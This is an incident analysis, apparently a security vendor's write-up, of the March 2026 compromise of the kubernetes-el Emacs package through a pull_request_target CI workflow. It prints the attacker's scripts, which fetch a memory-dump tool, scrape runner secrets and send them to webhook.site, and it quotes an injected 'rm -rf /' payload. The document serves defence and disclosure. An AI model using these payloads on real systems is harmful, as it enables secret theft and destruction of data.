On March 5, 2026, a threat actor exploited a classic "Pwn Request" vulnerability in the CI workflow of kubernetes-el/kubernetes-el, a popular Emacs package for managing Kubernetes clusters. The attacker stole the repository's GITHUB_TOKEN (with full write permissions), exfiltrated CI/CD secrets, defaced the repository, and injected destructive code.
The package has since been removed from MELPA (Emacs's main package repository) and blocked from updating on the Emacsmirror, affecting users who depend on it for Kubernetes management within Emacs.
What Happened
A GitHub account named quicktrinny, created just one day before the attack on March 4, 2026, with no followers, no bio, and no prior activity forked the kubernetes-el repository and opened PR #382 titled "ci: add test" with the description "important test :)".
The PR triggered the repository's CI workflow, which used the dangerous pull_request_target trigger combined with an explicit checkout of the attacker's fork code. This gave the attacker arbitrary code execution inside a GitHub Actions runner with full write permissions to the target repository.

The Vulnerable Workflow
The repository's CI workflow (.github/workflows/ci.yaml) contained two critical misconfigurations that together formed the Pwn Request vulnerability:

The pull_request_target trigger grants the workflow the target repository's GITHUB_TOKEN and secrets. Normally this is safe because the workflow code comes from the target repo's default branch. But the explicit ref: ${{ github.event.pull_request.head.sha }} in the checkout step overrides this, it fetches code from the attacker's fork instead. The make build step then executes whatever the attacker placed in the Makefile.
The Exploit: Step by Step
The attacker iterated through 6 commits in their fork, refining the exploit across 3 workflow runs. The payload evolution shows a real-time learning process:
Commit 1: Hijack the Makefile
The attacker modified the build target in the Makefile to execute a shell script instead of the normal build:
# Original:
build : compile $(DEPS_PNG)
# Attacker's version:
build:
@bash -c "chmod +x ./funny.sh && \
./funny.sh"
Commit 2: Create the payload (funny.sh)
The initial payload attempted to dump the runner's memory to extract the GITHUB_TOKEN, then exfiltrate it to a webhook.site endpoint:
# funny.sh (initial version)
TOKEN_VAL=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py \
| sudo python3 | tr -d '\0' | grep -aoE 'ghs_[0-9A-Za-z]{20,}' | sort -u | base64 | base64`
curl -d "${TOKEN_VAL}" https://webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65
sleep 60m
Commit 3: Switch to a different memory dump tool
The attacker switched from a GitHub Gist-hosted script to the Cacheract memory dump tool (a known CI/CD security research tool):
# Updated source URL
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/refs/heads/main/assets/memdump.py \
| sudo python3 | ...
Commit 4: Fix Makefile indentation
The first workflow run (run #22702057033) failed because the Makefile used spaces instead of tabs. The attacker fixed the indentation:
# Spaces (broken):
@bash -c "chmod +x ./funny.sh && \
./funny.sh"
# Tabs (fixed):
@bash -c "chmod +x ./funny.sh && \
./funny.sh"
Commits 5 & 6: Upgraded payload -extract ALL secrets
After the tab fix, the attacker escalated their approach. Instead of just extracting the GITHUB_TOKEN, they targeted all secrets stored in the runner's memory using a JSON pattern match:
# Final payload (funny.sh)
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py \
| sudo python3 | tr -d '\0' \
| grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT --upload-file /tmp/secrets https://webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d
sleep 9999
This extracted any secret matching the {"value":"...","isSecret":true} pattern from the runner's process memory including the GITHUB_TOKEN.

The workflow logs from the successful runs confirm the exfiltration. At 04:29 UTC, the make build step triggered the payload. A curl transfer of 350 bytes uploaded / 156 bytes response is visible in the logs, followed by the webhook.site response confirming the upload succeeded.
The Aftermath: Repository Defaced and Destroyed
With the stolen GITHUB_TOKEN, the attacker pushed 4 malicious commits directly to the master branch -no pull request or review needed:
929c639(04:30 UTC) — DefacedReadme.md— replaced all content with "HACKED BY DICK LONG" and an image09e06af(04:32 UTC) — Replacedkubernetes.el(the main package file) withrm -rf /— would destroy user systems if loadedb27498c(04:33 UTC) — Repeated destructive commitc084b10(04:47 UTC) — Deleted nearly all repository files
Critical: The second commit replaced kubernetes.el — the package's main entry point — with a single line: (shell-command-to-string "sudo rm -rf / || rm -rf / || sudo rm -rf / --no-preserve-root"). Any Emacs user who updated or installed the package after this commit would have had this destructive command executed on their system.
The commits were authored as github-actions[bot] because the stolen GITHUB_TOKEN is associated with that identity, making the attack appear as if it came from an automated process.

Attack Timeline
March 4, 2026
- ~00:13 UTC — GitHub account
quicktrinnycreated
March 5, 2026
- 03:40 UTC — Attacker modifies Makefile in fork to execute
funny.sh - 03:41 UTC — Creates
funny.shwith memory dump and token exfiltration payload - 03:47 UTC — Switches memory dump source from Gist to Cacheract
- 03:49 UTC — Fixes Makefile tabs (first attempt failed due to spaces)
- 04:17 UTC — Opens PR #382; first workflow run fails (still had tab issues in initial commit)
- 04:26 UTC — Pushes updated payload; second workflow run succeeds — secrets exfiltrated
- 04:28 UTC — Pushes again; third workflow run succeeds — secrets exfiltrated again
- 04:30 UTC — Defacement begins: Readme.md replaced with "HACKED BY DICK LONG"
- 04:32 UTC — Destructive payload injected:
kubernetes.elreplaced withrm -rf / - 04:47 UTC — Most repository files deleted
- 05:28 UTC — PR #382 closed
March 7, 2026
- 19:02 UTC — Compromise discovered and reported by tarsius (Jonas Bernoulli, Emacsmirror maintainer)
- Package removed from MELPA and blocked on Emacsmirror
How to Protect Your Workflows
1. Never check out untrusted code in pull_request_target workflows
If your workflow uses pull_request_target, do not check out the PR head. If you must process PR code, use a two-workflow pattern: a pull_request workflow (with read-only permissions) to build and test, and a separate workflow_run workflow for privileged operations.
# DANGEROUS - don't do this:
on: pull_request_target
steps:
- uses: actions/checkout@v6
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make build # Runs attacker's code with write permissions
# SAFE - use pull_request instead:
on: pull_request # Read-only token, can't push to target repo
steps:
- uses: actions/checkout@v6 # Checks out PR code (safe, limited permissions)
- run: make build
2. Restrict GITHUB_TOKEN permissions
Set minimum permissions at the workflow level. For CI/test workflows, you almost never need write access:
permissions:
contents: read # Read-only access to repo contents
# Don't grant write to anything unless absolutely necessary
3. Monitor network egress from CI runners
The attack exfiltrated data to webhook.site - a domain that should never be contacted from a CI build. Network monitoring tools like StepSecurity Harden-Runner can detect and block unexpected outbound connections from GitHub Actions runners.
Indicators of Compromise
- Attacker GitHub Account: quicktrinny (created 2026-03-04)
- Attacker Email:
jump-kept-freckles@duck.com(DuckDuckGo relay) - Malicious PR: kubernetes-el/kubernetes-el#382
- Exfiltration Endpoint 1:
webhook.site/18c6f9e6-1dce-4b6a-975a-4f0fe0114f65 - Exfiltration Endpoint 2:
webhook.site/2a7334c9-64a7-48cf-8b22-409028d50d9d - Memory Dump Tool:
AdnaneKhan/Cacheractmemdump.py - Defacement Commit:
929c639 - Destructive Commit:
09e06af - Exploit Workflow Runs: #22702282382, #22702314529
Acknowledgements
This compromise was discovered and reported by Jonas Bernoulli (tarsius), maintainer of the Emacsmirror. He promptly removed the package from MELPA and blocked updates on the Emacsmirror, preventing further distribution of the compromised code to Emacs users. His swift action significantly limited the blast radius of this attack.


.png)
